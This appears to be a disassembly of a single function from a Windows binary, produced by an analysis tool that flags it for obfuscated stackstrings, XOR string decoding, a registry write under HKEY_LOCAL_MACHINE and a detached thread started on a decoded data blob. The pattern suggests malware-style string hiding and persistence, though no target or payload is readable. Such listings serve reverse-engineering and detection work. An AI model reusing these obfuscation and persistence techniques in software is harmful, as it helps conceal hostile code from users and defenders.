Function at 0x1400d6df0
Capabilities:
Contain obfuscated stackstrings
Create thread
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x3e0
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1406e22c0]
xor rax, rsp
mov qword [rbp + 0x360], rax
mov rsi, rcx
xor r15d, r15d
call fcn.1400d68d0
movzx r14d, al
lea ecx, [r15 + 0x68]
call fcn.1402978c0
mov qword [rbp], rax
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
mov qword [rax + 0x60], rcx
mov rcx, rax
call fcn.1400d96e0
nop
mov rbx, qword [rsi]
mov qword [rsi], rax
test rbx, rbx
je 0x1400d6e8d
mov rcx, rbx
call fcn.1400d99e0
lea edx, [r15 + 0x68]
mov rcx, rbx
call fcn.140297720
mov dword [rbp + 0x188], r15d
movabs rax, 0x2f3244e412a335a0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs rbx, 0x916fbee4ad3789b6
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
movabs r12, 0x2f32208166ca4dc5
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movdqa xmm0, xmmword [rbp + 0x200]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x10], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x88], r15
lea rax, [rbp + 0x10]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400d6f20
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x70]
call fcn.140005c10
nop
movabs rax, 0x6c6e4de412b93496
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0xfe2cca8ac845fbc3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0x79d0898311bc44a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rax, 0x585405d43787a314
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs rax, 0x3c23cd4b1f27a69a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rcx, 0x8e3d35e01a579a2a
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0xdb5daef7ece30c7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs r13, 0x3d376ca245e2f048
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs rax, 0x3c23f97d6f54fae9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x240]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x260]
vxorps xmm0, xmm0, xmmword [rbp + 0x100]
vmovdqa xmmword [rbp + 0x100], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], r15
lea rax, [rbp + 0xe0]
mov r8, rdi
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x1400d7094
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x50]
call fcn.140005c10
lea rdx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rdx, qword [rbp + 0x50]
mov qword [rsp + 0x40], r15
lea rax, [rbp + 0x180]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1400d713e
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rdx, qword [rbp + 0x70]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x188]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp + 0x50]
call fcn.140019170
nop
lea rcx, [rbp + 0x70]
call fcn.140019170
test r14b, r14b
je 0x1400d726a
mov dword [rbp + 0x1b0], 0x64
mov dword [rbp + 0x1b4], SafeArrayGetLBound
mov qword [rbp + 0x1b8], r15
movabs rax, 0x436248f509a52096
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0xfe1bcd81ff17f0d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0x79dbb3802eee55b5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
movabs rax, 0xdb5daef7ece30c7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
vmovdqu ymm0, ymmword [rbp + 0x280]
vpxor ymm0, ymm0, ymmword [rbp + 0xa0]
vmovdqa ymmword [rbp + 0xa0], ymm0
mov rcx, r15
vzeroupper
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0xa0]
mov byte [rbp + rcx + 0x1c0], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400d7240
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x1b0]
call fcn.140298f58
mov dword [rbp + 0x2a0], 0xf1e6ea2e
mov dword [rbp + 0x2a4], 0xbca0121b
mov dword [rbp + 0x2a8], 0x293e4a6a
mov dword [rbp + 0x2ac], 0x6db2ee2d
mov dword [rbp + 0x2b0], 0x5e4a35b
mov dword [rbp + 0x2b4], 0xcc6c8b9f
mov dword [rbp + 0x2b8], 0x67916cbb
mov dword [rbp + 0x2bc], 0x2c0c382c
mov dword [rbp + 0x2c0], 0x8bca8eae
mov dword [rbp + 0x2c4], 0x7721848c
mov dword [rbp + 0x2c8], 0xcb5582a7
mov dword [rbp + 0x2cc], 0x422e2256
mov dword [rbp + 0x2d0], 0xd4272337
mov dword [rbp + 0x2d4], 0x8c905858
mov dword [rbp + 0x2d8], 0xa411c8e0
mov dword [rbp + 0x2dc], 0xf8c41115
mov dword [rbp + 0x2e0], 0x17bae203
mov dword [rbp + 0x2e4], 0xf21bcdba
mov dword [rbp + 0x2e8], 0xfe9d9922
mov dword [rbp + 0x2ec], 0xa207ee6a
mov dword [rbp + 0x2f0], 0x4e4f5e53
mov dword [rbp + 0x2f4], 0x876beb9b
mov dword [rbp + 0x2f8], 0x6f28beaa
mov dword [rbp + 0x2fc], 0x98432b73
mov dword [rbp + 0x300], 0x2c2c7db5
mov dword [rbp + 0x304], 0x310a4c21
mov dword [rbp + 0x308], 0xdedb8a4
mov dword [rbp + 0x30c], 0x3fdce175
mov dword [rbp + 0x310], 0x5c607434
mov dword [rbp + 0x314], 0x5d5c681e
mov dword [rbp + 0x318], 0xb50ee849
mov dword [rbp + 0x31c], 0xb48d61a9
mov dword [rbp + 0x320], 0x5c00e30c
mov dword [rbp + 0x324], 0xdba3d3bb
mov dword [rbp + 0x328], 0x574b5854
mov dword [rbp + 0x32c], 0xb777dbf7
mov dword [rbp + 0x330], 0x3aae51ca
mov dword [rbp + 0x334], 0xc6d2faee
mov dword [rbp + 0x338], 0x838fb45f
mov dword [rbp + 0x33c], 0x22322959
mov dword [rbp + 0x340], 0xb4319c7c
mov dword [rbp + 0x344], 0x7d81e457
mov dword [rbp + 0x348], 0x64b180a1
mov dword [rbp + 0x34c], 0xf93c400e
mov dword [rbp + 0x350], 0x896d61a6
mov dword [rbp + 0x354], 0x4de01111
mov dword [rbp + 0x358], 0x41480c00
mov byte [rbp + 0x35c], 0xf7
mov ecx, r15d
lea rdx, [rbp + 0x2a0]
movzx eax, byte [rdx]
ror al, 5
neg al
ror al, 7
xor al, cl
sub al, 0x41
not al
ror al, 6
xor al, 2
add al, cl
xor al, 0x61
add al, 7
xor al, cl
sub al, 0x56
xor al, cl
neg al
mov byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xbd
jb 0x1400d7451
movabs rax, 0x4a4849ec0fbe3daa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x916fbe97c25ecbd2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x210]
movdqa xmmword [rbp + 0x20], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xd8], r15
lea rax, [rbp + 0x20]
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400d7500
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xc0]
call fcn.140005c10
lea r8, [rbp + 8]
lea rdx, [rbp + 0xc0]
call fcn.1400d7720
movabs rax, 0x2f3220e20fb92c87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x190], xmm0
mov rbx, qword [rsi + 8]
lea rdx, [rbx + 0x18]
lea rcx, [rbp + 0x120]
call fcn.140018780
nop
lea rdx, [rbx + 0x38]
lea rcx, [rbp + 0x140]
call fcn.140018780
nop
lea rdx, [rbx + 0x58]
lea rcx, [rbp + 0x160]
call fcn.140018780
nop
lea rax, [rbp + 0x190]
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400d75c5
lea rcx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova rcx, qword [rbp + 0x160]
mov r8, qword [rbp + 0x170]
cmp r8, rdi
jne 0x1400d7605
lea rdx, [rbp + 0x190]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400d76c0
cmp byte [rbp + 8], 0
jne 0x1400d76c0
lea rcx, [rbp + 0x160]
call fcn.140019170
lea rcx, [rbp + 0x140]
call fcn.140019170
lea rcx, [rbp + 0x120]
call fcn.140019170
mov qword [rbp + 0x40], rsi
lea rax, [rbp + 0x2a0]
mov qword [rbp + 0x48], rax
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetDim
call fcn.1402978c0
movups xmm0, xmmword [rbp + 0x40]
movups xmmword [rax], xmm0
mov qword [rbp + 0x190], rax
lea rcx, [rbp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x1400d7d90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x30], rax
test rax, rax
je 0x1400d76b0
cmp dword [rbp + 0x38], 0
je 0x1400d76a4
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400d76a4
jmp 0x1400d76e4
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x38], r15d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea rcx, [rbp + 0x160]
call fcn.140019170
lea rcx, [rbp + 0x140]
call fcn.140019170
lea rcx, [rbp + 0x120]
call fcn.140019170
call fcn.1400d47a0
mov rcx, qword [rbp + 0x360]
xor rcx, rsp
call fcn.140297700
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret